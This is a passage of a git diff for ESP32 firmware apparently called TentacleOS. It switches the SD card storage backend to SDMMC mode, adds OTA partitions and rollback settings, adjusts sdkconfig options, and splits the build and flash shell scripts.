ESP_FAIL; + return (close(fd) == 0) ? ESP_OK : ESP_FAIL; } static esp_err_t sdcard_fsync(vfs_fd_t fd) { - return (fsync(fd) == 0) ? ESP_OK : ESP_FAIL; + return (fsync(fd) == 0) ? ESP_OK : ESP_FAIL; } static esp_err_t sdcard_stat(const char *path, vfs_stat_t *st) { - struct stat native_stat; - if (stat(path, &native_stat) != 0) { - return ESP_FAIL; - } - - const char *name = strrchr(path, '/'); - strncpy(st->name, name ? name + 1 : path, VFS_MAX_NAME - 1); - st->name[VFS_MAX_NAME - 1] = '\0'; - - st->type = S_ISDIR(native_stat.st_mode) ? VFS_TYPE_DIR : VFS_TYPE_FILE; - st->size = native_stat.st_size; - st->mtime = native_stat.st_mtime; - st->ctime = native_stat.st_ctime; - st->is_hidden = false; - st->is_readonly = false; - - return ESP_OK; + struct stat native_stat; + if (stat(path, &native_stat) != 0) { + return ESP_FAIL; + } + + const char *name = strrchr(path, '/'); + strncpy(st->name, name ? name + 1 : path, VFS_MAX_NAME - 1); + st->name[VFS_MAX_NAME - 1] = '\0'; + + st->type = S_ISDIR(native_stat.st_mode) ? VFS_TYPE_DIR : VFS_TYPE_FILE; + st->size = native_stat.st_size; + st->mtime = native_stat.st_mtime; + st->ctime = native_stat.st_ctime; + st->is_hidden = false; + st->is_readonly = false; + + return ESP_OK; } static esp_err_t sdcard_fstat(vfs_fd_t fd, vfs_stat_t *st) { - struct stat native_stat; - if (fstat(fd, &native_stat) != 0) { - return ESP_FAIL; - } - - st->name[0] = '\0'; - st->type = S_ISDIR(native_stat.st_mode) ? VFS_TYPE_DIR : VFS_TYPE_FILE; - st->size = native_stat.st_size; - st->mtime = native_stat.st_mtime; - st->ctime = native_stat.st_ctime; - st->is_hidden = false; - st->is_readonly = false; - - return ESP_OK; + struct stat native_stat; + if (fstat(fd, &native_stat) != 0) { + return ESP_FAIL; + } + + st->name[0] = '\0'; + st->type = S_ISDIR(native_stat.st_mode) ? VFS_TYPE_DIR : VFS_TYPE_FILE; + st->size = native_stat.st_size; + st->mtime = native_stat.st_mtime; + st->ctime = native_stat.st_ctime; + st->is_hidden = false; + st->is_readonly = false; + + return ESP_OK; } static esp_err_t sdcard_rename(const char *old_path, const char *new_path) { - return (rename(old_path, new_path) == 0) ? ESP_OK : ESP_FAIL; + return (rename(old_path, new_path) == 0) ? ESP_OK : ESP_FAIL; } static esp_err_t sdcard_unlink(const char *path) { - return (unlink(path) == 0) ? ESP_OK : ESP_FAIL; + return (unlink(path) == 0) ? ESP_OK : ESP_FAIL; } static esp_err_t sdcard_truncate(const char *path, off_t length) { - return (truncate(path, length) == 0) ? ESP_OK : ESP_FAIL; + return (truncate(path, length) == 0) ? ESP_OK : ESP_FAIL; } static esp_err_t sdcard_mkdir(const char *path, int mode) { - return (mkdir(path, mode) == 0) ? ESP_OK : ESP_FAIL; + return (mkdir(path, mode) == 0) ? ESP_OK : ESP_FAIL; } static esp_err_t sdcard_rmdir(const char *path) { - return (rmdir(path) == 0) ? ESP_OK : ESP_FAIL; + return (rmdir(path) == 0) ? ESP_OK : ESP_FAIL; } static vfs_dir_t sdcard_opendir(const char *path) { - return (vfs_dir_t)opendir(path); + return (vfs_dir_t)opendir(path); } static esp_err_t sdcard_readdir(vfs_dir_t dir, vfs_stat_t *entry) { - DIR *d = (DIR *)dir; - struct dirent *ent = readdir(d); - - if (!ent) { - return ESP_ERR_NOT_FOUND; - } - - strncpy(entry->name, ent->d_name, VFS_MAX_NAME - 1); - entry->name[VFS_MAX_NAME - 1] = '\0'; - entry->type = (ent->d_type == DT_DIR) ? VFS_TYPE_DIR : VFS_TYPE_FILE; - entry->size = 0; - - return ESP_OK; + DIR *d = (DIR *)dir; + struct dirent *ent = readdir(d); + + if (!ent) { + return ESP_ERR_NOT_FOUND; + } + + strncpy(entry->name, ent->d_name, VFS_MAX_NAME - 1); + entry->name[VFS_MAX_NAME - 1] = '\0'; + entry->type = (ent->d_type == DT_DIR) ? VFS_TYPE_DIR : VFS_TYPE_FILE; + entry->size = 0; + + return ESP_OK; } static esp_err_t sdcard_closedir(vfs_dir_t dir) { - DIR *d = (DIR *)dir; - return (closedir(d) == 0) ? ESP_OK : ESP_FAIL; + DIR *d = (DIR *)dir; + return (closedir(d) == 0) ? ESP_OK : ESP_FAIL; } static esp_err_t sdcard_statvfs(vfs_statvfs_t *stat) { - if (!s_sdcard.mounted || !s_sdcard.card) { - return ESP_ERR_INVALID_STATE; - } - - uint64_t total = ((uint64_t)s_sdcard.card->csd.capacity) * s_sdcard.card->csd.sector_size; - - stat->total_bytes = total; - stat->block_size = s_sdcard.card->csd.sector_size; - stat->total_blocks = s_sdcard.card->csd.capacity; - - FATFS *fs; - DWORD free_clusters; - - if (f_getfree("0:", &free_clusters, &fs) == FR_OK) { - uint64_t free_sectors = free_clusters * fs->csize; - stat->free_bytes = free_sectors * fs->ssize; - stat->free_blocks = free_sectors; - } else { - stat->free_bytes = 0; - stat->free_blocks = 0; - } - - stat->used_bytes = stat->total_bytes - stat->free_bytes; - - return ESP_OK; + if (!s_sdcard.mounted || !s_sdcard.card) { + return ESP_ERR_INVALID_STATE; + } + + uint64_t total = ((uint64_t)s_sdcard.card->csd.capacity) * s_sdcard.card->csd.sector_size; + + stat->total_bytes = total; + stat->block_size = s_sdcard.card->csd.sector_size; + stat->total_blocks = s_sdcard.card->csd.capacity; + + FATFS *fs; + DWORD free_clusters; + + if (f_getfree("0:", &free_clusters, &fs) == FR_OK) { + uint64_t free_sectors = free_clusters * fs->csize; + stat->free_bytes = free_sectors * fs->ssize; + stat->free_blocks = free_sectors; + } else { + stat->free_bytes = 0; + stat->free_blocks = 0; + } + + stat->used_bytes = stat->total_bytes - stat->free_bytes; + + return ESP_OK; } static bool sdcard_is_mounted(void) { - return s_sdcard.mounted; + return s_sdcard.mounted; } static const vfs_backend_ops_t s_sdcard_ops = { - .init = NULL, - .deinit = NULL, - .is_mounted = sdcard_is_mounted, - .open = sdcard_open, - .read = sdcard_read, - .write = sdcard_write, - .lseek = sdcard_lseek, - .close = sdcard_close, - .fsync = sdcard_fsync, - .stat = sdcard_stat, - .fstat = sdcard_fstat, - .rename = sdcard_rename, - .unlink = sdcard_unlink, - .truncate = sdcard_truncate, - .mkdir = sdcard_mkdir, - .rmdir = sdcard_rmdir, - .opendir = sdcard_opendir, - .readdir = sdcard_readdir, - .closedir = sdcard_closedir, - .statvfs = sdcard_statvfs, + .init = NULL, + .deinit = NULL, + .is_mounted = sdcard_is_mounted, + .open = sdcard_open, + .read = sdcard_read, + .write = sdcard_write, + .lseek = sdcard_lseek, + .close = sdcard_close, + .fsync = sdcard_fsync, + .stat = sdcard_stat, + .fstat = sdcard_fstat, + .rename = sdcard_rename, + .unlink = sdcard_unlink, + .truncate = sdcard_truncate, + .mkdir = sdcard_mkdir, + .rmdir = sdcard_rmdir, + .opendir = sdcard_opendir, + .readdir = sdcard_readdir, + .closedir = sdcard_closedir, + .statvfs = sdcard_statvfs, }; +/* ============================================================================ + * PUBLIC API + * ============================================================================ */ + esp_err_t vfs_sdcard_init(void) { - if (s_sdcard.mounted) { - return ESP_OK; - } - - ESP_LOGI(TAG, "Initializing SD card"); - - esp_err_t ret; - s_sdcard.we_initialized_bus = false; - - ret = spi_init(); - - if (ret == ESP_OK) { - s_sdcard.we_initialized_bus = false; - } else if (ret == ESP_ERR_INVALID_STATE) { - s_sdcard.we_initialized_bus = false; - } else { - spi_bus_config_t bus_cfg = { - .mosi_io_num = SPI_MOSI_PIN, - .miso_io_num = SPI_MISO_PIN, - .sclk_io_num = SPI_SCLK_PIN, - .quadwp_io_num = -1, - .quadhd_io_num = -1, - .max_transfer_sz = 4000, - .flags = SPICOMMON_BUSFLAG_MASTER, - }; - - ret = spi_bus_initialize(SPI3_HOST, &bus_cfg, SPI_DMA_CH_AUTO); - - if (ret == ESP_OK) { - s_sdcard.we_initialized_bus = true; - } else if (ret == ESP_ERR_INVALID_STATE) { - s_sdcard.we_initialized_bus = false; - } else { - ESP_LOGE(TAG, "SPI init failed: %s", esp_err_to_name(ret)); - return ret; - } - } - - vTaskDelay(pdMS_TO_TICKS(200)); - - sdmmc_host_t host = SDSPI_HOST_DEFAULT(); - host.slot = SPI3_HOST; - host.max_freq_khz = SDMMC_FREQ_DEFAULT; - - sdspi_device_config_t slot_config = SDSPI_DEVICE_CONFIG_DEFAULT(); - slot_config.gpio_cs = SD_CARD_CS_PIN; - slot_config.host_id = SPI3_HOST; - - esp_vfs_fat_sdmmc_mount_config_t mount_config = { - .format_if_mount_failed = VFS_FORMAT_ON_FAIL, - .max_files = VFS_MAX_FILES, - .allocation_unit_size = 16 * 1024, - }; - - ret = esp_vfs_fat_sdspi_mount( - VFS_MOUNT_POINT, - &host, - &slot_config, - &mount_config, - &s_sdcard.card - ); - - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Mount failed: %s", esp_err_to_name(ret)); - if (s_sdcard.we_initialized_bus) { - spi_bus_free(SPI3_HOST); - s_sdcard.we_initialized_bus = false; - } - return ret; - } - - s_sdcard.mounted = true; - - vfs_backend_config_t backend_config = { - .type = VFS_BACKEND_SD_FAT, - .mount_point = VFS_MOUNT_POINT, - .ops = &s_sdcard_ops, - .private_data = &s_sdcard, - }; - - ret = vfs_register_backend(&backend_config); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Register failed"); - vfs_sdcard_deinit(); - return ret; - } - - ESP_LOGI(TAG, "SD mounted: %s, %llu MB", - s_sdcard.card->cid.name, - ((uint64_t)s_sdcard.card->csd.capacity) * s_sdcard.card->csd.sector_size / (1024 * 1024)); - + if (s_sdcard.mounted) { return ESP_OK; + } + + ESP_LOGI(TAG, "Initializing SD card (SDMMC/SDIO 4-bit mode)"); + + esp_err_t ret; + + // SDMMC Host configuration + sdmmc_host_t host = SDMMC_HOST_DEFAULT(); + host.max_freq_khz = SDMMC_FREQ_HIGHSPEED; // 40MHz + + // SDMMC Slot configuration for ESP32-P4 + sdmmc_slot_config_t slot_config = SDMMC_SLOT_CONFIG_DEFAULT(); + slot_config.width = 4; + slot_config.clk = SDMMC_CLK_PIN; + slot_config.cmd = SDMMC_CMD_PIN; + slot_config.d0 = SDMMC_D0_PIN; + slot_config.d1 = SDMMC_D1_PIN; + slot_config.d2 = SDMMC_D2_PIN; + slot_config.d3 = SDMMC_D3_PIN; + slot_config.flags |= SDMMC_SLOT_FLAG_INTERNAL_PULLUP; + + // Mount configuration + esp_vfs_fat_sdmmc_mount_config_t mount_config = { + .format_if_mount_failed = VFS_FORMAT_ON_FAIL, + .max_files = VFS_MAX_FILES, + .allocation_unit_size = 16 * 1024, + }; + + // Mount FATFS via SDMMC + ret = esp_vfs_fat_sdmmc_mount( + VFS_MOUNT_POINT, + &host, + &slot_config, + &mount_config, + &s_sdcard.card + ); + + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Mount failed: %s", esp_err_to_name(ret)); + return ret; + } + + s_sdcard.mounted = true; + + vfs_backend_config_t backend_config = { + .type = VFS_BACKEND_SD_FAT, + .mount_point = VFS_MOUNT_POINT, + .ops = &s_sdcard_ops, + .private_data = &s_sdcard, + }; + + ret = vfs_register_backend(&backend_config); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Register failed"); + vfs_sdcard_deinit(); + return ret; + } + + ESP_LOGI(TAG, "SD mounted (SDMMC): %s, %llu MB", + s_sdcard.card->cid.name, + ((uint64_t)s_sdcard.card->csd.capacity) * s_sdcard.card->csd.sector_size / (1024 * 1024)); + + return ESP_OK; } esp_err_t vfs_sdcard_deinit(void) { - if (!s_sdcard.mounted) { - return ESP_ERR_INVALID_STATE; - } - - vfs_unregister_backend(VFS_MOUNT_POINT); - - esp_err_t ret = esp_vfs_fat_sdcard_unmount(VFS_MOUNT_POINT, s_sdcard.card); - - if (ret == ESP_OK) { - s_sdcard.mounted = false; - s_sdcard.card = NULL; - - if (s_sdcard.we_initialized_bus) { - spi_bus_free(SPI3_HOST); - s_sdcard.we_initialized_bus = false; - } - } - - return ret; + if (!s_sdcard.mounted) { + return ESP_ERR_INVALID_STATE; + } + + vfs_unregister_backend(VFS_MOUNT_POINT); + + esp_err_t ret = esp_vfs_fat_sdcard_unmount(VFS_MOUNT_POINT, s_sdcard.card); + + if (ret == ESP_OK) { + s_sdcard.mounted = false; + s_sdcard.card = NULL; + } + + return ret; } bool vfs_sdcard_is_mounted(void) { - return s_sdcard.mounted; + return s_sdcard.mounted; } esp_err_t vfs_register_sd_backend(void) { - return vfs_sdcard_init(); + return vfs_sdcard_init(); } esp_err_t vfs_unregister_sd_backend(void) { - return vfs_sdcard_deinit(); + return vfs_sdcard_deinit(); } void vfs_sdcard_print_info(void) { - if (!s_sdcard.mounted) { - return; - } - - ESP_LOGI(TAG, "SD card: %s", s_sdcard.card->cid.name); - ESP_LOGI(TAG, "Type: %s", - s_sdcard.card->ocr & SD_OCR_SDHC_CAP ? "SDHC/SDXC" : "SDSC"); - ESP_LOGI(TAG, "Capacity: %llu MB", - ((uint64_t)s_sdcard.card->csd.capacity) * s_sdcard.card->csd.sector_size / (1024 * 1024)); - - vfs_statvfs_t stat; - if (vfs_get_total_space(VFS_MOUNT_POINT, &stat.total_bytes) == ESP_OK && - vfs_get_free_space(VFS_MOUNT_POINT, &stat.free_bytes) == ESP_OK) { - stat.used_bytes = stat.total_bytes - stat.free_bytes; - float percent = stat.total_bytes > 0 ? - ((float)stat.used_bytes / stat.total_bytes) * 100.0f : 0.0f; - ESP_LOGI(TAG, "Used: %llu / %llu MB (%.1f%%)", - stat.used_bytes / (1024 * 1024), - stat.total_bytes / (1024 * 1024), - percent); - } + if (!s_sdcard.mounted) { + return; + } + + ESP_LOGI(TAG, "SD card: %s", s_sdcard.card->cid.name); + ESP_LOGI(TAG, "Type: %s", + s_sdcard.card->ocr & SD_OCR_SDHC_CAP ? "SDHC/SDXC" : "SDSC"); + ESP_LOGI(TAG, "Capacity: %llu MB", + ((uint64_t)s_sdcard.card->csd.capacity) * s_sdcard.card->csd.sector_size / (1024 * 1024)); + + vfs_statvfs_t stat; + if (vfs_statvfs(VFS_MOUNT_POINT, &stat) == ESP_OK) { + float percent = stat.total_bytes > 0 ? + ((float)stat.used_bytes / stat.total_bytes) * 100.0f : 0.0f; + ESP_LOGI(TAG, "Used: %llu / %llu MB (%.1f%%)", + stat.used_bytes / (1024 * 1024), + stat.total_bytes / (1024 * 1024), + percent); + } } esp_err_t vfs_sdcard_format(void) { - if (!s_sdcard.mounted) { - return ESP_ERR_INVALID_STATE; - } - - esp_err_t ret = vfs_sdcard_deinit(); - if (ret != ESP_OK) { - return ret; - } - - return vfs_sdcard_init(); + if (!s_sdcard.mounted) { + return ESP_ERR_INVALID_STATE; + } + + esp_err_t ret = vfs_sdcard_deinit(); + if (ret != ESP_OK) { + return ret; + } + + return vfs_sdcard_init(); } -#endif // VFS_USE_SD_CARD \ No newline at end of file +#endif // VFS_USE_SD_CARD + diff --git a/firmware_p4/main/CMakeLists.txt b/firmware_p4/main/CMakeLists.txt index 256e6e11..90daec6d 100644 --- a/firmware_p4/main/CMakeLists.txt +++ b/firmware_p4/main/CMakeLists.txt @@ -12,14 +12,5 @@ idf_component_register( driver ) -# Embed C5 Firmware Binary -# The build script must ensure this file exists before P4 compilation -set(C5_BIN_PATH "${CMAKE_SOURCE_DIR}/../firmware_c5/build/firmware_c5.bin") -if(EXISTS ${C5_BIN_PATH}) - target_add_binary_data(${COMPONENT_LIB} "${C5_BIN_PATH}" BINARY) - message(STATUS "Embedding C5 Firmware: ${C5_BIN_PATH}") -else() - message(WARNING "C5 Firmware binary not found at ${C5_BIN_PATH}. Firmware update feature will be disabled.") -endif() diff --git a/firmware_p4/main/main.c b/firmware_p4/main/main.c index 2a5cb39a..6c9c6807 100644 --- a/firmware_p4/main/main.c +++ b/firmware_p4/main/main.c @@ -2,9 +2,11 @@ #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "kernel.h" +#include "ota_service.h" #include "ui_manager.h" void app_main(void) { + ota_post_boot_check(); kernel_init(); } diff --git a/firmware_p4/partitions.csv b/firmware_p4/partitions.csv index f62d0dc7..25a5530b 100644 --- a/firmware_p4/partitions.csv +++ b/firmware_p4/partitions.csv @@ -1,6 +1,8 @@ # Name, Type, SubType, Offset, Size, Flags nvs, data, nvs, 0x9000, 24K, -phy_init, data, phy, 0xf000, 4K, -factory, app, factory, 0x10000, 2M, -storage, data, fat, , 4M, -assets, data, littlefs, , 16M, +otadata, data, ota, , 8K, +phy_init, data, phy, , 4K, +ota_0, app, ota_0, 0x20000, 4M, +ota_1, app, ota_1, , 4M, +storage, data, fat, , 6M, +assets, data, littlefs, , 16M, diff --git a/firmware_p4/sdkconfig b/firmware_p4/sdkconfig index 4330b806..e8acc16c 100644 --- a/firmware_p4/sdkconfig +++ b/firmware_p4/sdkconfig @@ -586,7 +586,8 @@ CONFIG_BOOTLOADER_PROJECT_VER=1 # # Application Rollback # -# CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE is not set +CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y +# CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK is not set # end of Application Rollback # @@ -1632,8 +1633,10 @@ CONFIG_FREERTOS_TIMER_TASK_STACK_DEPTH=2048 CONFIG_FREERTOS_TIMER_QUEUE_LENGTH=10 CONFIG_FREERTOS_QUEUE_REGISTRY_SIZE=0 CONFIG_FREERTOS_TASK_NOTIFICATION_ARRAY_ENTRIES=1 -# CONFIG_FREERTOS_USE_TRACE_FACILITY is not set +CONFIG_FREERTOS_USE_TRACE_FACILITY=y +CONFIG_FREERTOS_USE_STATS_FORMATTING_FUNCTIONS=y # CONFIG_FREERTOS_USE_LIST_DATA_INTEGRITY_CHECK_BYTES is not set +# CONFIG_FREERTOS_VTASKLIST_INCLUDE_COREID is not set # CONFIG_FREERTOS_GENERATE_RUN_TIME_STATS is not set # CONFIG_FREERTOS_USE_APPLICATION_TASK_TAG is not set # end of Kernel @@ -2372,12 +2375,17 @@ CONFIG_WIFI_PROV_STA_ALL_CHANNEL_SCAN=y # CONFIG_WIFI_PROV_STA_FAST_SCAN is not set # end of Wi-Fi Provisioning Manager +# +# cJSON +# +CONFIG_CJSON_NESTING_LIMIT=1000 +CONFIG_CJSON_CIRCULAR_LIMIT=10000 +# end of cJSON + # # TinyUSB Stack # CONFIG_TINYUSB_DEBUG_LEVEL=1 -CONFIG_TINYUSB_RHPORT_HS=y -# CONFIG_TINYUSB_RHPORT_FS is not set # # TinyUSB DCD @@ -2387,17 +2395,11 @@ CONFIG_TINYUSB_MODE_DMA=y # end of TinyUSB DCD # -# TinyUSB task configuration +# TinyUSB callbacks # -# CONFIG_TINYUSB_NO_DEFAULT_TASK is not set -CONFIG_TINYUSB_TASK_PRIORITY=5 -CONFIG_TINYUSB_TASK_STACK_SIZE=4096 -# CONFIG_TINYUSB_TASK_AFFINITY_NO_AFFINITY is not set -# CONFIG_TINYUSB_TASK_AFFINITY_CPU0 is not set -CONFIG_TINYUSB_TASK_AFFINITY_CPU1=y -CONFIG_TINYUSB_TASK_AFFINITY=0x1 -# CONFIG_TINYUSB_INIT_IN_DEFAULT_TASK is not set -# end of TinyUSB task configuration +# CONFIG_TINYUSB_SUSPEND_CALLBACK is not set +# CONFIG_TINYUSB_RESUME_CALLBACK is not set +# end of TinyUSB callbacks # # Descriptor configuration @@ -2415,20 +2417,10 @@ CONFIG_TINYUSB_DESC_SERIAL_STRING="123456" # end of Descriptor configuration # -# Massive Storage Class (MSC) +# Mass Storage Class (MSC) # # CONFIG_TINYUSB_MSC_ENABLED is not set - -# -# TinyUSB FAT Format Options -# -CONFIG_TINYUSB_FAT_FORMAT_ANY=y -# CONFIG_TINYUSB_FAT_FORMAT_FAT is not set -# CONFIG_TINYUSB_FAT_FORMAT_FAT32 is not set -# CONFIG_TINYUSB_FAT_FORMAT_EXFAT is not set -# CONFIG_TINYUSB_FAT_FORMAT_SFD is not set -# end of TinyUSB FAT Format Options -# end of Massive Storage Class (MSC) +# end of Mass Storage Class (MSC) # # Communication Device Class (CDC) @@ -2572,6 +2564,7 @@ CONFIG_LV_DRAW_LAYER_SIMPLE_BUF_SIZE=24576 CONFIG_LV_DRAW_LAYER_MAX_MEMORY=0 CONFIG_LV_USE_DRAW_SW=y CONFIG_LV_DRAW_SW_SUPPORT_RGB565=y +CONFIG_LV_DRAW_SW_SUPPORT_RGB565_SWAPPED=y CONFIG_LV_DRAW_SW_SUPPORT_RGB565A8=y CONFIG_LV_DRAW_SW_SUPPORT_RGB888=y CONFIG_LV_DRAW_SW_SUPPORT_XRGB8888=y @@ -2592,6 +2585,7 @@ CONFIG_LV_DRAW_SW_CIRCLE_CACHE_SIZE=4 CONFIG_LV_DRAW_SW_ASM_NONE=y # CONFIG_LV_DRAW_SW_ASM_NEON is not set # CONFIG_LV_DRAW_SW_ASM_HELIUM is not set +# CONFIG_LV_DRAW_SW_ASM_RISCV_V is not set # CONFIG_LV_DRAW_SW_ASM_CUSTOM is not set CONFIG_LV_USE_DRAW_SW_ASM=0 # CONFIG_LV_USE_PXP is not set @@ -2646,6 +2640,7 @@ CONFIG_LV_COLOR_MIX_ROUND_OFS=128 # CONFIG_LV_USE_OBJ_ID is not set # CONFIG_LV_USE_OBJ_NAME is not set # CONFIG_LV_USE_OBJ_PROPERTY is not set +# CONFIG_LV_USE_EXT_DATA is not set # end of Others # end of Feature Configuration @@ -2842,6 +2837,7 @@ CONFIG_LV_FS_DEFAULT_DRIVER_LETTER=0 # CONFIG_LV_USE_BMP is not set # CONFIG_LV_USE_TJPGD is not set # CONFIG_LV_USE_LIBJPEG_TURBO is not set +# CONFIG_LV_USE_LIBWEBP is not set # CONFIG_LV_USE_GIF is not set # CONFIG_LV_BIN_DECODER_RAM_LOAD is not set # CONFIG_LV_USE_RLE is not set @@ -2851,6 +2847,7 @@ CONFIG_LV_FS_DEFAULT_DRIVER_LETTER=0 # CONFIG_LV_USE_TINY_TTF is not set # CONFIG_LV_USE_RLOTTIE is not set # CONFIG_LV_USE_THORVG is not set +# CONFIG_LV_USE_NANOVG is not set # CONFIG_LV_USE_LZ4 is not set # CONFIG_LV_USE_FFMPEG is not set # end of 3rd Party Libraries @@ -2871,10 +2868,9 @@ CONFIG_LV_USE_OBSERVER=y # CONFIG_LV_USE_FONT_MANAGER is not set # CONFIG_LV_USE_TEST is not set # CONFIG_LV_USE_TRANSLATION is not set -# CONFIG_LV_USE_XML is not set # CONFIG_LV_USE_COLOR_FILTER is not set CONFIG_LVGL_VERSION_MAJOR=9 -CONFIG_LVGL_VERSION_MINOR=4 +CONFIG_LVGL_VERSION_MINOR=5 CONFIG_LVGL_VERSION_PATCH=0 # end of Others @@ -2901,7 +2897,6 @@ CONFIG_LVGL_VERSION_PATCH=0 # CONFIG_LV_USE_ST_LTDC is not set # CONFIG_LV_USE_FT81X is not set # CONFIG_LV_USE_UEFI is not set -# CONFIG_LV_USE_OPENGLES is not set # CONFIG_LV_USE_QNX is not set # end of Devices @@ -2919,7 +2914,6 @@ CONFIG_LV_BUILD_DEMOS=y # CONFIG_LV_USE_DEMO_KEYPAD_AND_ENCODER is not set # CONFIG_LV_USE_DEMO_BENCHMARK is not set # CONFIG_LV_USE_DEMO_RENDER is not set -# CONFIG_LV_USE_DEMO_SCROLL is not set # CONFIG_LV_USE_DEMO_STRESS is not set # CONFIG_LV_USE_DEMO_MUSIC is not set # CONFIG_LV_USE_DEMO_FLEX_LAYOUT is not set @@ -2936,7 +2930,8 @@ CONFIG_LV_BUILD_DEMOS=y # Deprecated options for backward compatibility # CONFIG_APP_BUILD_TYPE_ELF_RAM is not set # CONFIG_NO_BLOBS is not set -# CONFIG_APP_ROLLBACK_ENABLE is not set +CONFIG_APP_ROLLBACK_ENABLE=y +# CONFIG_APP_ANTI_ROLLBACK is not set # CONFIG_LOG_BOOTLOADER_LEVEL_NONE is not set # CONFIG_LOG_BOOTLOADER_LEVEL_ERROR is not set # CONFIG_LOG_BOOTLOADER_LEVEL_WARN is not set @@ -2989,7 +2984,7 @@ CONFIG_BROWNOUT_DET_LVL=7 CONFIG_ESP_SYSTEM_BROWNOUT_INTR=y CONFIG_SYSTEM_EVENT_QUEUE_SIZE=32 CONFIG_SYSTEM_EVENT_TASK_STACK_SIZE=2304 -CONFIG_MAIN_TASK_STACK_SIZE=3584 +CONFIG_MAIN_TASK_STACK_SIZE=8192 CONFIG_CONSOLE_UART_DEFAULT=y # CONFIG_CONSOLE_UART_CUSTOM is not set # CONFIG_CONSOLE_UART_NONE is not set diff --git a/tools/build.sh b/tools/build.sh new file mode 100755 index 00000000..06c37c78 --- /dev/null +++ b/tools/build.sh @@ -0,0 +1,44 @@ +#!/bin/bash + +# Configuration +PROJECT_ROOT=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")/.." &> /dev/null && pwd) +C5_DIR="$PROJECT_ROOT/firmware_c5" +P4_DIR="$PROJECT_ROOT/firmware_p4" + +# Colors +GREEN='\033[0;32m' +BLUE='\033[0;34m' +RED='\033[0;31m' +NC='\033[0m' + +# Source ESP-IDF environment (supports local install and Docker container) +if [ -n "$IDF_PATH" ] && [ -f "$IDF_PATH/export.sh" ]; then + source "$IDF_PATH/export.sh" +elif [ -f "$HOME/esp/v5.5.1/esp-idf/export.sh" ]; then + source "$HOME/esp/v5.5.1/esp-idf/export.sh" +else + echo -e "${RED}Error: ESP-IDF not found. Set IDF_PATH or install at ~/esp/v5.5.1/esp-idf/${NC}" + exit 1 +fi + +echo -e "${BLUE}>>> Starting TentacleOS Build${NC}" + +echo -e "${BLUE}>>> Building ESP32-C5 firmware...${NC}" +cd "$C5_DIR" || exit +idf.py reconfigure build + +if [ $? -ne 0 ]; then + echo -e "${RED}Error: Failed to build C5 firmware.${NC}" + exit 1 +fi + +echo -e "${BLUE}>>> Building ESP32-P4 firmware (Embedding C5 binary)...${NC}" +cd "$P4_DIR" || exit +idf.py reconfigure build + +if [ $? -ne 0 ]; then + echo -e "${RED}Error: Failed to build P4 firmware.${NC}" + exit 1 +fi + +echo -e "${GREEN}>>> TentacleOS build complete!${NC}" diff --git a/tools/build_and_flash.sh b/tools/build_and_flash.sh index ee1831bd..035efc34 100755 --- a/tools/build_and_flash.sh +++ b/tools/build_and_flash.sh @@ -1,51 +1,5 @@ #!/bin/bash -# Configuration -PROJECT_ROOT=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")/.." &> /dev/null && pwd) -C5_DIR="$PROJECT_ROOT/firmware_c5" -P4_DIR="$PROJECT_ROOT/firmware_p4" +SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" &> /dev/null && pwd) -# Colors -GREEN='\033[0;32m' -BLUE='\033[0;34m' -RED='\033[0;31m' -NC='\033[0m' - -# Source ESP-IDF environment -if [ -f "$HOME/esp/v5.5.1/esp-idf/export.sh" ]; then - source "$HOME/esp/v5.5.1/esp-idf/export.sh" -else - echo -e "${RED}Error: ESP-IDF export.sh not found at ~/esp/v5.5.1/esp-idf/export.sh${NC}" - exit 1 -fi - -echo -e "${BLUE}>>> Starting TentacleOS Super-Build${NC}" - -# 1. Build ESP32-C5 (Radio Co-processor) -echo -e "${BLUE}>>> Building ESP32-C5 firmware...${NC}" -cd "$C5_DIR" || exit -idf.py build - -if [ $? -ne 0 ]; then - echo -e "${RED}Error: Failed to build C5 firmware.${NC}" - exit 1 -fi - -# 2. Ensure P4 knows where the binary is -# (CMake is already configured to look for ../firmware_c5/build/firmware_c5.bin) - -# 3. Build ESP32-P4 (Main OS) -echo -e "${BLUE}>>> Building ESP32-P4 firmware (Embedding C5 binary)...${NC}" -cd "$P4_DIR" || exit -idf.py build - -if [ $? -ne 0 ]; then - echo -e "${RED}Error: Failed to build P4 firmware.${NC}" - exit 1 -fi - -# 4. Flash ESP32-P4 -echo -e "${GREEN}>>> Build complete. Flashing P4 Master...${NC}" -idf.py flash - -echo -e "${GREEN}>>> TentacleOS successfully flashed to P4 Master!${NC}" +"$SCRIPT_DIR/build.sh" && "$SCRIPT_DIR/flash.sh" diff --git a/tools/flash.sh b/tools/flash.sh new file mode 100755 index 00000000..079aceec --- /dev/null +++ b/tools/flash.sh @@ -0,0 +1,26 @@ +#!/bin/bash + +PROJECT_ROOT=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")/.." &> /dev/null && pwd) +P4_DIR="$PROJECT_ROOT/firmware_p4" + +GREEN='\033[0;32m' +RED='\033[0;31m' +NC='\033[0m' + +if [ -f "$HOME/esp/v5.5.1/esp-idf/export.sh" ]; then + source "$HOME/esp/v5.5.1/esp-idf/export.sh" +else + echo -e "${RED}Error: ESP-IDF export.sh not found at ~/esp/v5.5.1/esp-idf/export.sh${NC}" + exit 1 +fi + +echo -e "${GREEN}>>> Flashing P4 Master...${NC}" +cd "$P4_DIR" || exit +idf.py flash + +if [ $? -ne 0 ]; then + echo -e "${RED}Error: Failed to flash P4 firmware.${NC}" + exit 1 +fi + +echo -e "${GREEN}>>> TentacleOS successfully flashed to P4 Master!${NC}" diff --git a/tools/hooks/commit-msg b/tools/hooks/commit-msg new file mode 100755 index 00000000..3a9fc46a --- /dev/null +++ b/tools/hooks/commit-msg @@ -0,0 +1,42 @@ +#!/bin/bash + +# ============================================================================== +# Conventional Commits Validator (git commit-msg hook) +# ============================================================================== +# +# Valid formats: +# type(scope): description +# type: description +# type(scope)!: description (breaking change) +# type!: description (breaking change) +# +# Valid types: feat, fix, docs, style, refactor, perf, test, chore, ci, build, revert + +COMMIT_MSG_FILE="$1" +COMMIT_MSG=$(head -1 "$COMMIT_MSG_FILE") + +# Allow merge commits +if echo "$COMMIT_MSG" | grep -qE 